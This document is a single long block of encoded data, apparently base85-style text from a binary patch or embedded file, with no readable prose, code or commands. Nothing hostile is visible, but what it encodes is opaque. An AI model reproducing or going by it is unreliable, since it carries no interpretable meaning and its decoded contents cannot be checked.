zm8PORROy+|_!n~J*FvdbmaZ%R^@Z~PGUxuYDgU3Z?Y6&+t)G|9MlBHnIwFR2;^l$O z#>|sPIQ>0sZj~&IYBb1#GS8Jrw{`2v@Kx}MD597%gZH-B0$HYB7I4a|qSh@^cl5EB z>`w>BMs7lGF$<_C#jzEeb^Oin7xS=~IS6f}^XF#{x^+EvwVJU4*gSv!_zzicpD^OyNtG)pVlx zMd|i0iN`fvGbT5+f_D&u+W5^t*_5Y!B+Odq-gxywE_K-^w17BW&|>Sk-r8ki9c{I} zS{9EcXjzLUFrUx#045YaL@eB$8)w>XIhn&=oKat;`}U9?t{fqbL-bDKS{H9`VPYjL zVt2xt&L&04(T|o{;;}~q6j@iGO09*mxhQ^U{-BFyIMTI2gmMF@=?R)uEBd#2*?mKZ@Tfn?CdL@1~^1ZH45nQUqwHkH$4?q3Cn}Qxdk&`OHpY1t0 zk1{#F_O(&gxt7wrsKEU2xu%%*^i$emzEj>wfShzqW<1c8v`{iAJHlsgz?s?!TSdR zI7`4tB#sij+Es0>Q(#U@E93k)cls~-@1Znqn~KU4@!$}Se^Kz4 z>-deS%nbdS21mNRe5-YmaN{;o7l}uk!9r8F>tvIfn9@^p%tkS#6}iGxXw|U*7i+0q8TZ(sJLDNt|2BquKp+8t5U>pO^#Q8`BvV8nP zytptaYO{rtm(*XU-ulxUv3mbdKll3$HbG48z#M(&O+@Ng1{Q(6sUul=UcLgufn)3h zJ)II+!5)MNYWX!PEG%4!;k}*rvD5pyK=!fVVr@B%%m8Puh^){ucY{q9yTg~+q4%iP z46+3VLr&4XsZfzn(%1Bj;-d&H_P~$CMzwHhhF;&?c7CY}ljSfm?#HNEeJVb13b-0^K(J5(Rumwbfd_L4;kNW2gOzl`6~z^4|HRCVoyTW#g*XadBj6_g z!yn%0jTf5QSC{y3k5KB6^+P}ZJLcUzAw*RUfzQoO9jO*+T&MQ+PJ=B_WM2yp*S4m+ z^vL$%d)?Ov_#soXD&6COrhb=*|KZOCHP#W1`5U?Rg7{~_iA2@zsy9*M2z5SpAb?p4 z>QsczARIA}d0Hd%$;++ezAAxt)zsn5(YES01IkzJty6k+j!vxuL*W|Qz=csaPlA`cG0bI5FY<)i zKGz6G>lXD=^G68Egm>&ptr8QPuy070}0Oi_r~w6fv^xiK1{xneu`kxMyt>Q60oQ|W)3zNzk# zMRbl@q@%)53vEK*QV72DxUdl(C{IyI2uq#P5QwS2b)+oU@hH#oMg@sT%>Rh7>_fJ} z5=N9E-RVYsSyr17h5EJTPQyoG35<918kd`xW2hE;p9^95L)N8AAIzgeDjtuJpVln7 zFjt-vR@!s=Qo{3%QQrS`KFw(?`>C z+I(VYh9$eP^SkdzP_^Um6L+8IEH$kc%7s!NB1EkR)qdmp=#&;$$iNaASW1i5=6nHp zFskPdOm5a6e3-VmE+>eK|A0L_I(z%g)3mwIsqdX2V*dmN-sIf*^8`Ykd)VfBhX?)< zt&Pd~J@|^N4~QHDnXLR?v&(mYA*tuxaO?{joIePDC%SpgZ%Ce3oodkux+e86mI!g;>~QA1Rn+CXG%s z@5=b}v*8n`!DnLqndPItzV|E~Ox-vmjf0qYR_WLcSzKEl!DsrAjhk)KL{-90RnSN6 zbDZd6pd!?j$7K?uMr|WNRmy&<#H>X1-FilV`Zrq&*D~Q6LWeo8G|EfX!1qw$K_fVn zEe(mU3NN2~{Q7ywvq(eNW=99y+ZXLaLr-u)YYQo34h z&8xP&V!yYeg0w$(7{O?a`>*gf&ufNbV+zopxDZk-S#@#2Rc~@J{hPQqPX=a)hi$Fz zoO~+xk#vo%2#DfPLwuoi2rzoBg9WsEvc@S*sw1;wTYmU+6p9G#{C2%nX<$VY2y8rO zNUEkX)Tzqz*|~0Kb&33^;Y^{S=bdvkjEa$#ngjMN5QoNz!n;&8t=E387YgtNy0!KMvR7vvx6+=< z-+U|yZ9$c9;P9Y5R&!T^La){<9NiBmt5*z{dh*~~d<6bfKKr+_b<%ViN zK45SQe2Z@AS!IVi%zvyS>Jii4>NqS${VDAx%1=isZKXvA&G2$#GtbOr%&sSU+ML1v z$M9H3^N?Fi@w;om>!e-B?D^K_O>dFsn8kW296jCVfB>tqpeKG_Eh?ot4->Z>*X*?d z3w!v7&fZ-0A#aNYR6pE0cCqm5vuGdka*b`&{6Y%q$cIgA@*sppSce)2Z+g)Lzk2!_ z5hGPUxnfb{5*Yo6ssH#v{*=)xOL0&0O#2s7QfoVdeUr3(H%#TR8;UTqjaXngpeyg^ z?pGL(HyO{pyC?HwqdW%wXl))J9qjq{Eisj_0r0Csss1~Xd>k zBC7fx#+iZMgiDRUwfr9rZ!VwbxF8Dgm99cFR$LmN5h{-irCV>fvTy`eG_*{Dj;Ylm zkX1&`V0kCP%Fdh3VX_RVd|sSiv*P31c*5&Q;H4uObORU|NnNB_rVoK^cK6 z9%$WV?D^j$klmplA@8t?%jK2d9Ecwev=_2P?;`8Gx*MecCdO#0xW z%-rxF)33`kUjYu|p|Pq_zABmFQ002;^$RJwYX2bdFfcP8F4fobhct}{Y~aHjajpp7 zpqN?qd0jtNiFKyWGERQpsJLVSHQU1sF_*%b+p@3_4oY|IujpOFfHdAzOvf)j4&xp$ zEai`&sZ^*)J2B6b!{Co?@`XI1tUG`jr3pRuFQvPI?qr(S3SVKku96@*6kp@aux2&e z0HQ7FW^iVIA?0);>OpsCNwiAG!yeEViPD9>eCHV)_8AH2q?!2o3+dbCkLu<#UeP=y z)tayfY*B~{m`>icdoz^17KOpI+bp$sv3~b+5;5iYRn3!cdHV*4Y9Xo8PsBd;`-yr- zv?`5L01e>TxDfhVt$=vSsYkjKaGCU~+X?$`iK=H`$b#Bog;!6V^Q_WV{3s7So4;^1 z?Q5iu-apG9dT4oji(Q@?uupY%>b>F?P>__w2;EaSU%Om&kRwjjBmIei*cUhVh~-d1 ztJ`DVH@!k=3a>DOe!i079X2cM=;(*Nd+mfMHS|=xqho9-PHaGED)1>r0D2k)NYC7+ zSNbYBhdDWWy;02(QI04}VX$ji;xlXOrN(OV&lj=mrP#s#JgyQ})oH5lxFUXs*6(EO zeg4dktLu2h(~F@LTD(|e_~8OkZ5GA{L{ru&OF@=!;MS2be9*5N&|otF&wzbGyM7^o zFK+>V8iu{fLuZ&*?qJC%qXyZsk3p9%lYxg@uQ%4H)honEmuK&CzQ86_h=Th$l>o46 zZ^nc`=t=K6y)9q(3uA`u*IaKMGcG8C;$vEJb`R%csu!rZv4(RQ_^9c&aeY|t2*W}r ziwR~AOHT8A->l5j2egli28@#g*Zx8}Fps~9EfF$ua?7=U$=iaWR#~OZo3X(ZZ5ZKo zcSpnY$31`(ydaL#b9@6*Wx^zd8^%NHCdl*mX};`J*`DFte_>vJIl;zw0#b(G)iIUegTl_3-)t26iH^YJw$d{>5`%?fCGM=Q5t_ks9Gk(!=V<@_L>s_@e&U z5}}}-VT{gJ4eTDuN$2xbKj=s>tW}6OGespe9Px6S(uu>gtrS?nQoI*?1_( zcicfd&}Dpi;p+mkJlGO03)()5)NOc3t9ZICV10jbGPBCH1jMM4Qvz&~KfNGo@d5o{ z+8`heSwi5qXr#X$;m!MzfCX5x9+&z9ah~4cu6;NBg``+Cs?nsYQ@q^buzL~ChrDB8 z^0`BX2WU%%5NqxlaVKZ5T*~EyZ{n-^L|B@eI)W}`2q`Gn)UU1d?40-NyZl$lxeTK+ zQ!g*?1HLU+64g#@6w7z0#7R|IwpleBwlc&Xp6b3liQVw7A$l_3Z(%<`$ny}O&}ZLl z=tcj&+{OSDKM~=vrH)7Ai6haw+SAcqeL9h4Uh~cFu^C$yhZsM+O!+~sBr~cr@6PFY zq%JrUgg!y8x@cfa=GMSnG<)HQq+K?aJWzLzWJFX9@mAy?xA43RogHjXd(>t7aupIe zhF>6NJcG|I90iz_GT(D;5}m zKrP-v?h^bIeEAd?KSd+O#X7-w7_rE55i#IelSt__uIMBVADB5{c{rS;ERCPUAX$KAhqD|0KU7UF2RCYG5l7 z(L214gVosrUn$ayoG>rXLq5ZZ?IQ)cj4z&ehd*BtCe+n^|HIF2A~RuadlZN4%hy+T zDjhqQ=@PsCv#H-qI>vfX;;Y_=-@|&aoo&R2kJN5*b50~v5hb#ZB@bW|8)nJS+_&);v7TSkj+^i1gi?-o0_$kAX#Ubi=;4SARfvc-mRwVnJ(-0 znJf+3{)GhUxP^Oj52CaN-Q(+6Dwf~`=^`}u5A&81`KKTmA^HRw(1HgzI%mK@C z&fpjNx1`rUb6#b!ntHka7k6(R71!3L`y# zcXto&5ZnR;2-#G;%(XD+m?Y;DD22(&pa ziP|3r-oQZVsX+z}S0ZY}-^F+IZJPPnoJV@a;VokM9&Fe0$&ek{K$VW|rAFi31p3M)l6YpiV;17^7=Vi?r*nw$bE0c_xiE6a|Q;s!USVH3M|E>4p45$ zeSa9=M|A+;POE+9TF?@6u8MweR~P4|GF{hfP?9=<9yJ_S94-83EOc8}wx3H?z%1Xd zrENmqkZ}+pY?IeG=C!P08JfFLUMZd8vSEBHLNftptkWLtX%%Mxq>U$iqb%k}t8F~Y z;o~@F*#nrKwUi9n3GjZYguI?+^`i$b?%JdrpSah)_`~zUt!Fs1Zpw#ph z%?Crd4bdQciRp&ai+d4&ZY&rrrA?;puN~Z#kQ!@$h&IyeS5M|^?|Ji6A0?NzFM@g< z3C%XXDL>D4SX_xzUqw6UcvL0oF;3Z}vvZ;aG&<7F#0KO3k@EJX?`=P~k*6~5Y);-r zB|kYiQuhtCzXTvcm$yl;G$Qvl+Bk=yuXH`wEJSmE30G0hygKhlFn4~O27v$( z5u&pyziY&l?A}G``Bh=KXBzpvi^WhHw=iu4D;wsavf$f^z$T{oAFoG0o%JCPz6t0O zu%seAS35bagL~iiCgpb9XA2q{XUT@y(Z?=v5*s$^>B%n6yjb+z6LvK>`W40mxA}y%JwQX@zg93( zb{Ai0YIXRE;c*%H$Pob9g=-7L>9j}EF(sYTcrgC~CHRkT(2(03FH#HQyO^@4Ea=*k zvZW=RN{td!ruf!kg+J7l8}XoX_pR<$YBlNhQO0&=o_GG&bjkV$HA`t1dJMhr4GrT)_ZYld&9~IHH+(b=Q_C=1HCH%` zD9jEL6@NexNV~-qnI$n3Q17C+dD(gG%+?+``W#VeHuAEcEvEFn$c%(yNulFNS;D$k ztinj}Jl=1fAEg`cqG}rBEnt5aeXhI{Vvgdnl8DDCk&>{qZ~^4P78u%R_5f8oGj*So zC#*yzg?{_66y@&0d{i<0RHz^BQSnNr1rm|1Mjw`c?!r7Z&?hDzCmp|!@Z;rYi-%Y} zk(lH39nhsQx6^(kx(5VBbv;iTqTP2y%u>Y|S>#EwhD1-@7`cscJ#Ns9elr_L4BVLz9%@ zBQBob3lj8_@b%hR@=E|av7PawxCGGOej|x(SH4rAkrS4{L{HuXHh1qI+J`s(Cj50@ z6)5?5f)^oR+@Ev`XCCkZlFfkB-n+by^{woXOrmsV+TxIBs!u?F4m%>vgEjfHKKXV) z;Z)xD>1W)#!Z~mW^KYq+OZ%w=LfcLq$UKjEDvKU0SPSPh?J5C6wdD$MvjF#RD z-D*~$obT3qYL`?&UJ$)tYAEmHixJT*BAiCFLO-lNyL3rgmfYbQtvM_Lm;CR&UsgdP zBX+LkG0lfMr+gJx8kY3zNtCs$qJr2Xwtw}Pp4H+Nnk2;^AE52mGASJsIP0K%d8X#r zF7g`#+6*6f40`I7%>qI1OF(^JNA(tJ{R;_W2cx&%S%W5W1TFKu(qeX=vH1-X3qcc> z(24b1izI##o=!LIo?HM(-^MvE;<3w^J*Cp=`&L)_WQ*8Fm1Dr%K(=&DY14m3t{li4^X%$o5`sO4$$WF~31{Ia58x~Y-G)W7UlVGzPZPbx%{eJw_Qq_tbAr3~&tzmF z4`60}<@}auCv2m30VB=wwTp#XEyP3k&H3Qp+vQxf&sc$T&J12j(x+_XPzqy*KcHmI zwbY`T+U>uIJakUrpP>5`w0L7SbUe(~{<<6TT=daQsot)Kup+C&>+8lXAkMeTGj86V zlx8V!^SV5UoaeK-F8Y_tW8tDuRMVO-H;lTpjj&Pf4-+;LaB^q6h9VDJt#jq8{3{mO z_kTd$EwpB zy$k#H))ICu#nUh0oP`^q7}TcJ#^AYiy{wiCiC86y!7Zh2EI84HcN)|do+Ls}Wj7i< zge*WX7k*CdfQaj3FEhkUVXTW(297OdtQ#Ub*Tou3b|0EGBji*1-C4wI>G93ba!q5X z%1p)!Z0+jej)CJRYKahDKSuh0Mk?HrdXkA}gGK&;igb1Su~bXc#&rJ7y(&1qSOMO$ z)jVj*U&yS7?{DFt?!yMSGh=X?Gh8{V3;`HeX)RSYr6>OiYMf%=H=q`;S5EUC5UEx7 zREE~1G16$d@F*4ROZ*w?2%b--J_wWdY2R8I5pZkD5x4vyzTQ2PRK!^-Wgu9YyDxz9 zD?ILZr*D}mE_VBjJOqNjgjw|&&#cH!HX91pHnxgs>QuERz4wgyTC$w`Bp6WeUJSreH#I5~(AVgX}3^;wCZ&ptI zI{i*#9F}jUmh~aJmKNT*Qh%|`*@RNE79ocjj+K4YP){b}<^`?kF2X*Dru0>4|&Mn3$Pj>D6SiLl^A zqneI~FWaN}@fTH?{(S~yu(!h)gnEE)nt^gZT^s1^1#(X}ib!K-1}-%g!y<<1vUVCGxpUy#D#bGAI>Kdq&$ZA6g# z9q)Sn@5Gwt8oyNyKg}ROV+@=AyOC>>;}_Qkc;Sz7Ypt9~?7t4YRCWs`m_f6iebGeq z*L9LUrHeUyu=wn&?&w)RyhBnqYktX56tHg6{mo1>z#TKK=GsFbHc~X6Ui04?PpaNN zX!ok-891#uCT`N1R{U#bf~f{W>5a(eL7Zj(qL2Bp9oEkOs+<4+@4ji=9sW6DZ&A&) z*z)Z961s{0FZ~Eb@Pu!Ixbpwl@2C^bucBk!3~UIWE6eVWRfB31TB8qTBhZoEWFe#a zDbEv0KxTJvmm~z8nxFJ=8x^n#4>@~W95LzTjjAl_)>r?4%CWHO8zxv5I@Mf1GlnMC z>k)F!M`=FBQ=^dlFk#*zINBP6ctbamXw9|>63~j_qL+zbpI(xs5GVWt>QH;Jd)R=K zfWSbw>+5G;N$Vd*qxUye+J3a7FQ^q|Q$~Y*cJ~zNV2Nh!T;%0U;dc~~J@=giBE!|L z-NKJ!!ea;RYQtWMs&+2mE*^q9q>_ynF|X2KzphYOS@GjqI@7VzO){4xxZb+LpMn+v z9r|Uad&1s*7+eR5;!ca#_!zcVzH32BVzGaf1D{hILNN5lS~{m`!YHEtSG2L`mN;&D z^DypF)Xe(bcKTS*0TS(5CKI(`oW%f-@|J27>hPx*fPOIjf{>{N(Lg@{CXM3hwL)aE zP9bI>(n*|IeFIxk{5Eu3-kF9|g3OtD-_83xHrq({!0F|XYXyJTt-0-rHo>OOsd_(xMvK-> zrPC$pHoKmZjpnd~b=rGXtFAmwaP#Okt4JyDE%Vv{2P(+e^b_^Vi~wSrc~uKTlF_Aw z*H|UbYx{JjN3;3Hiam>r5|4%x=OTKZ3s$~Y%HeTqt@XpKMs1jA0nc6On~XdkD@Sc2 z=70dnG`z3^@?Yv`v!5d#A|stD8_CixCBLJ`>IC-n0D>XK-kZ6kSmnUhl{p
    iHQf@^JET|VqC&i0)F5Ywb=lO{C?nsyOc zudl});#@H*@rJpxi2Q)PJ6pg(>p*TYD{Y86x>HTig?#&i6{2MmFAuKS(B^{55j=D4 zYe4+CIBioOywoI^GvtI$r+?eVZx< z4JSX29c0yH+%1)zW+4!vjM0#8d{z4(ew;;3A*=gQ`v2$^cr+J0x(a@J0sg-o*nUTF zC{hXcPq@=Rqcs1?dx#&|MJa7G{H3S#m|<)FY9nvZ9|{{2OQCS*OvbL_cifwKT>j!7@-2UhA2s+a$szco`4- zH?FTd=NnS8grP*Rcw% zYj|U3^wD?tKa*~JuwRvzNmtj+NVMY4`!4aYc#pgE?bd1BvEGK?KtU%kUEgFrWZw?OO4=9Q~RPkKk=bPkG-%?5XUZk3=#o{*6 zc29nw{KL|ZJjdbZmlx#be?VOi{o4-GPYm(+c_7=R3zBh$%lHS{Ic4)?*ld9U(MBow zO0LQqlCpNl>dw#CwmgbuxJVTas9#zhJ|~h5A%h*-Frt{O^)oyCC*yuk$i>6CNM}mq zvOc53jy|cgZbqlb6#V4xl4R52TqIORFd%DQ!U>bNY7-f;A=)D}U>+z{(l#8>wZx$= z{1Fwal+W}$sur{wi8Y1>X9E!t%c(K5bLdFgpMZeDTfZ0{7y`8WKjdrPpCBn@SFDY2)8A zgJP`W%9?`=BrYjyO~9)Cc}>osOUrN);nR_3n~<;C*kXpmuu4t~0AW9hk>4NFFuYPw z`Mtl!+nSeG^ruTEPW?*HIFXB#bBFLCFD=31* z+@xJd2#W+~LS#iJ?c(Nxe5Sl!ev?%*dq_aNIE3?xUOIZo5ydw^=v2vQ6wid!68Y?k zl3TIT%~%qe)Y93|Ep&JA_%eUhc6xK)4_?)cFMuzOaqgSvde1peP?p8q4rE(fF zNfi>sgdkneg;Z|B@o#Il#+nC`mhw7K(6{g8!JtFGRW=vG#ttYR-8E`>oow>XNiz3K z7&VThQj6zEGv1MUE>R9qXkXbp*kOxGJ;{2KEIivR!cEW);J`$g_bqD%2B;Fu<#C@3 z+gN6s!y;(m09I$N$S2M|ZH}&gKoL>vP(L)N63h>}dEUAZJ;Y(!T|MP4bZk<=Ve)Q7zD{5jKGH)c)nkA^W?u0* z1YQ$cbOe~gl>@PyTv0P^A{7~S1j9e2-s1%;9!vkf{Wf0G*T1fl`O-#jz>jsnER{0 z!CJ#iI|Y0?8ZZ%+%Pv1@otJ*$oJd8S?V5gdOD#mI3&TiP$<(S=&ull=3)M2_v|i$K9^o0+Z8*hZs8W>60Y&1OnvoAtzEMwyfrg-rP@xA{6O z*eJ%Z@V?9VBg?x@?E4h+sM(0J{D!KxDoZU%HlM!{mLFi{)XGv`9|NX~w}U|PFm9|D zL*2}KOh6RuaEF$3`UyjT#YDcgYoe=K?FPYu6Jr>dYPK28rB*e$SiUf?C%^TS{bZ!T zjlJ}0%CbHJf-oS4v%v8_Q{Dc1o?LUYg>nvRyM~bubRuP&3l@pARi_rkG9<8tUs=`> z$j%e8lmNKckJQj-(zHI~6z9083y;e*1F$Y+DEaG@T%(JxKjq^gFBf|&ZD%82R@(dY zsk~d?n3d)xBSl^}9E*CSqz29%mwJHHM?8x^eE2rKBBjp;%gkO?nhqnn}dLtq0>5gb0GpOl}lVnL_}SV=3++q{R5?5vTGnGv zQJ`*x6cWB{h5fl(h!NlfjEdQKGSaxmw2}>OrxV3ZC^Z<^s494tddhS3U4rNS!@=hNCnF9ch3t0F%)$eSMG57ga0uFk)pmD(Cft2>iqQn#nJI z3Z4`Jbtp{MPz-g;q%GBm&XVJUFUIX$E($2FiLsaV4N1+|&(?41!VS??1;6gWEYxMf zxsQc`86a?*Q1LV^!I)AZhq`P|;Ko#S0_u1bpVn1FCcP&ata1s@gd>%XFz2h0dX#B- zjQyaAXCzKy=k!DGP{E+iG8ptIgCrVvs<`>!Si}0w?qw|^sVTy zPP4|UG(#@<2Q0hERh0WK-E0Ub)f~#zn}>J^(W@EaUv8H@SF)^69-+vvZ%J-VrMXhW zIV{iOFumld*KCTPLfV4PhP+)*lgLc*;*}M>Dw=IQIFMWrYgF>*oB|Dzj z^4%R5*=LaX=m1*zFm6kDL{sT!C(cgm4Et4MDc2?yo*FlxjbY1B=+;ZkH8^Nqar+NQZ{~*K`iU^W)^Rt|o}W{hKfJA5*3CUdxrJDD&)e%eK)hWO64Cs>z=9qz&v2s4KT-KR&@2>LDE~^2LV07TFn|pV%A+UXR-P;WU#`KCN?L}*v}euH)YR?3_}PH zCITQ6uvUSBClBfnOtKLJEXN2U23j4{NPqI4FSpphZba4~w+yMttZC6G!@OlbjDE<6 zq_J$qM+S@=3-H6qV77+4_Ln+jBXT3>(`H}7CT}*@J}oJQAaGI2e>x{_srzi=ju2lw z+j+0(udq9XQ+Fpn@1i`+d_9_U=tjax&ECjvF|b&Z;zsX*exlr3P9N|}Ix`EIjbe{2 zZ*;*P=cAkn=QNQ7j@7VPq#d+Xplsb2M9su`kpdqT*QcA7vnXns5<*ztWar9Np4rge zXIZe74nU~{%18tXA;xyd)D@Hhi87mT<0vZ#3Qn}(_wwurGoOLcMuD`W4$0jrLQwl^ zX|#Et=Z_b%)R(IUOVp9UFrO4jhYWf2N3pUNR}SV5Ib}Jik-Ds zHrb$^U9tMAlg=$g!yJ&2()-WP7& zAbZ|S#FDOVuuo4y)!}Jvp0quT3Ct1ek&^8R`S~u7Gv}t}$~}*FZDu)k7CfJPuGhOd z1iq$6eO_+8dH36Axvq55p9Za3hVbav)?x7`iIi!&6jLtYYfBND%Cl^&8rtWceB9P- zjIi&ugO6=MQ(Q)$?VQkhSsdiGnMqUAk5U_Dv5rP-_W`@*Fc72VlyAMC;knOjN0PWk zmc^i<1Lw07brKhm_1d<+awq&JB$Wb({-^;_j4O3-Di4}9FU2M8X763hw2-{NsJT8p z+N{Fy)=t4INyKQvVG1!)88U6chfDvWB4gvzU_F7$p5h3HH;{;-EaLxef(B9}yav+aC6QQ<|xCH&4AofxA>?Z9z~&EEhk z7tSdRIUp(7q(T@ycS%V$FSHb`5N_IkIBvlA<< z%0pqYsuwbOYqClk?1RcS|FITGayaik6PMc`yU-kR^%UMmFAwV(EOj6oab!2?_tMQpz0h%*6H#BqD5SbqT>GC zd)|{;E=SV6x+UrzJffhcf3gLor)ft@s=9J2qe*M9MGBgjWJEVOp;x;%Y`co$Y;O(- zZ%C0jkcVzhx6z6_^GbO6#-~8eAUj_~>3F8fTJ)HgUH80mU9|NS<&CcZT%pce*W#o@ zI4487*!@fdgRrMN74T8#($Tk6Bh4e~Y<>lWel|6!1$gRyv^Kk}FOn1P)Y&RD71XN0 zAJRdx9+4sI(0n0sdJ*+uoyhN~sF-t38Ahv^PAr0}%5L6@X^*u`EK{gF)2w9reC6u& ze3)htUuk7a7}FQ`CVy=YMH#}oKo3O_HzN2Pn#r38C!_T?Y&Eix*)qkkdno0|;2*iV z{4Nwan>U|m5)3S1mqNRqs|e~=ojyz|GN+tmOGd+;(ZZ8!qQ@!7rt5n|pI&8g>n640 zZDGnc>1a2lGW1*IIWHed13t_KkOA_3^QNtML<4@0%dXy1;$5fGZUuQlQy+$4Tudu3 zwo5uCYm`_)oyqxXII%iF7#7|ctyyyqWZ!q2jn}r2UB;A;bK>70M=;3*W@dk}bz{6@ zmu#Y)m#(F2+t3cU@=v_P!tiG3S?^aYm^;V9sIJ7zwK!M!l?#t%CzaFhlt( zGZ>!=ij^4Tg#N3g)f{$ZGW*8N0!|@hpEsO==CR5BhG@`F=X|tlBydd(MS<#i7V5Cr zVTlIyj1xXWShEV0A%j7iFQxCoK8Y(*&6afxWWLcDv^L}Nfs%J5#O%cELtk%mzh-JH zWN#JT`;&&7xjCW5$ogg_=$f<`I}dFxfPWX&1`R==D)zHwjQTnd}cDhO;e&h8q)ZNyikVL4vaM&^(%)`*rx zKvdA#Kb596|JcD!eG>LXbwW3K=shs)4lEe8EB~HQH|DtE?`By!yu;$xbC+_EZI9*i zKzIQe0VOfcz|++%WXU)2=_e0XLJDBTk#;^huCP}fiGGoBT;1i-$Oy&d4G`*dege80?WsUB zcs_<3Y$4wpMbGsUW+6&1HTe_Y`wz6zQ>81NKcGgLajwf#Ig_B9ZP*WzMpnzY2_AyF z_y8dryCL1FO&KdyRxC~@>k8dT_)&{sj2K`1{!`PFJ@(ng7%EmLG?lrC!fBp34RZXR z^sD!En_uwe3?pThV>e-$hC_W{;9XyNMQq81i09B!1B*++v&}=SY9c)ib3)wJ?r;Nb z#UPqNB@>%n%xRkps$0;__oy2KFHLm|Wnw{_uMIs!3hpgSZcecJ*d*pj&ojtOrUMPQ zpy$*syiTw$@V%b}Fyr57CVqi$nMRxu?#aXBtvO{S&|_52*Wtmp>sYYLT@1uadtEA> zXtEUjO%ltTmD7+6-Bz&fPUpSDS!~39A2T0R4`v$8bbuZ;mgb=IomCfxkZoCX5_{ER zPTbR5%f8Z$cuW1e+uXnJzWu!xUpGn3c|5xxr~26IV)ofE>zkPpMEZx+XyR@-2;GZR zbzRM5ZKUt6jG4NoP>JMF;$2{#*C5A_^+#!Ox!|;C(Q%?K&8dZ{L$inc1%vm%iF*G- znarGo+Zzr>X3Qw92A=xZqdt49^l6beAQ77C{8#l`k>-2)_D%qU$F+nh8_6vNBk<&K zBnGK8uftu&k@LID>~(Mkc;xTkVz6&-i!mLcd-Yq3cWs$h zbp$XOvAXA!w`B`wNhF~qw1RB6)hIw{#KPR5TPZz1S*F<;gB`i|ss~OB;#KM7#-BIO zMBd{jCYveu+?uG{TPGLd2MyE7Sc!jowheZ3%BH~=#ORccrjg-5ktr2sCF&M)Vo6yc zPYU^#%xibL-QwAk!#rV~yeF4Nv(PeJTml*{n_Ky@p)XL%s{87DOvJ#V<@0=K-e)~| zRidcp(7rF7C(1UtXm(d-Bxu1kEO> zbIR+@5#05&|0cQoNmAS$HneW(g5^tk7Q%~WX81+eGY)OEKz;NzL$z^o?Q);FfW?0U zUH5BaRq-E)h9Ob0cb~9xM>qPg5gh$Oij!Y%*#Ald_HWqNb9O1;8t8$%QJ2ZZY@Dx5 z>h&y|C0BGS^hWWg^sN66;$gC77#pNVO^OuNHp!i2#k9s-uS78PxV*f)JN@4SWize^ z-k)3)s@)v{EE3n^5)F{@wLDz2HxS`@3q80I_3wa)_j$5;A4}m`g-bKhgF)|Wrr$l& zv8jCe2NZ*5V};fEx2pHbew6`Y3mGZ4kke;Ykp(ELb6(CcGS=fF7OX!QG5d%z-ErGf1wjh#P%v@uK+whS? z^!GDH)X=`#DU4P^6WBI4UY657ILao1s+ahY9>ax@)K?l_H*Ul>Fg<*g{e`dFPAfDj zO$qvOftuOjR!Qev=Jl&}OF2F)g14r-X*U;+-KrM-uKlMI? z<_dz$!sbae-95c-=V*Q*wwNc&UCnP+u$TlIO#mepr0Z-@#VR)gS< z8yyS2A}BAF6NQuI+ohvm0-@tgyNTd?mQa^^RMwBl&qkY~m-TMDQbwmYcN_G20`_&? z8W4Z|5$=f!Xd56)X0l1aXi~ODGjDoK($uCMG&0u-J~*O9AT5NOI zp(Giw5x=YlOiaRHBTht_QhDX-hsGIs*gX-erbt7qp0;ln#qIm`jgJX`-kR?wV(dG4 z7W_=JQ23Nkc2SmnCXKnivMx2DX#cy1OR4Z)fodj$ax$fBGR4Mc&x3O>FB?|EeL;Ec zFN?8;H*yyH&ej~%2)kK@v6{+Huu?e>fEYsLrWd};B*s3O3ehBd7}S|z^hz$d&q}>} z|44ps-SCl+QN){w#D#8Y{^HuYyV6j;Hy%4+g@TI0sCba9S-7~xXUoND)x<5$Vh;9& zd}-4Wb*FOaVy(a=z2ng*c-;sZwdZnCEu8vlTc%4sM3}eHPnKDg$!Ro_CySn|l{7}u zg|LS?lrHFTus)q8MT$MeH)Wr{i)M|YjDNTHQj`W6#;BfEpR1UEz&QrWKiQgdMsgaE zZvGo5yNy9;3U_x}IG|qi8O}2_b@+qAd=dZPG#TvT!QA=yX&kX2BJT;(G;`GJ6mR?=u5bV#;ykrDw=6wyySf8~M%2x(xNjzy?#rQK$;V?|_lxeIMk z6BIg9^Qt`VVd6L2z|i4s#Eo6Dz)T>i^U=kmHE6mx7Xo%fqo2|obS=iF6hla4@H4Mv zMKeXE(l(r-I!cc~-0dl9A-u%sh8SiDC$1#)(DT(EK_nTlFJJJ_ikCi7j zT;<)15^>0znLaPSI>cImW*BGuV7Vbkqc$yk4*QE^ws-pKIQo2LN2&B`VQ}gVUZ}@uzLly-_ zD*^ zG&s5No3n<~t)&>rO;z=J-yD30eEHsuoNzJIAnNC%U0IZ7tL24toQ;D<#uaD3nmCTg zqN0kwm?u69?E6k>-;TIF3pO(F+X74&YXKlrjZwHFt524Z-$Z^Laj+PvViN{V)3WWt zt1dP1o8^}0`gI|2S#Av0jl>k@2?_shD)nV&XoQHS(JzUCA&t z&SS}d5?J!hnSqpzwtknj?>lvznsH1RaN1)v)TUW-;uTiem;JmDID$1;%s$Wy_dinf z#~KBn+pqsB%m4I~|FiE>PCZfL*{_NfnR70g(0~l~{caZjx~gX9FqEfAjro_g&;U)g ztWjQMj+4ca2rJ~JJ-N6S*GPqDxR34NzuMUUMHRI91GD;fKeDgPU|1|1foW+5n+Gxd z!VqgJ>ooMNW>X*iXIJ=j3DXvPos zU&<@ber1N;2#`-PRk&F)_rfIM@1Ew*HN?-J=1Q+Kc9SxGa_W)XmH~FuG!KU1D4TRD zF-T$KrMTnq51I7&D)|4>UxV)u7tE}4@I{gK@c=`}1P3{jsJp?2f7b6l@dLLevGpz{ z;Y_2LaEGNRxs2@ign|{M;a%Cx%e|i^6qW%$`_OOgWs03ZRIOPz&Li@dEoDOTiD<#E z8_OpiXl%fyaT|&k>iF_XU?m_;9q?lO+Q$Qui^#_6SwlH6IBM6p6a)$YeZR0=;`up+ z#A_mV@kh8Op;2Ej=Q^V!N)Ani-)g|`iu(p3+Ke!-#Eq4FEZ5uA?tyP(v#>b7E@5b{ zJx`f@`l1FYcczrLGrLMfLo|qO{ogwK%O49Eq^qioYucYaEz$ub#e|}D2giNzokqg% z&vlO#QrbEgQsdl|7R870s7i6m5f#(0e8xM6W!R%(iQ?wyX8542D4{ZG;9+U=3hp;L z^hO#iL#lzQ=dUS5GS|%jUe3NGdmV;c%@=ccxd6U3m$Lvs|(cgh_Jk~u_|r6+T&cD**k6zC%_ z3+o$I!tq*0y+LXgri|E#J)_+mh|gwOhWw5v;w}>~Fj(UtAR! zFZG@~Kk>5sC!CzyIB(g(o@N=WtNPEl-T$tjY9)NS%00-|z7n`CW}y)bx_Bw88&UUU)hp|C7P6W1%%y7rnqg@G)tdpKW8)Aq(JTf%@MS%Vp~wzv09L&no=& 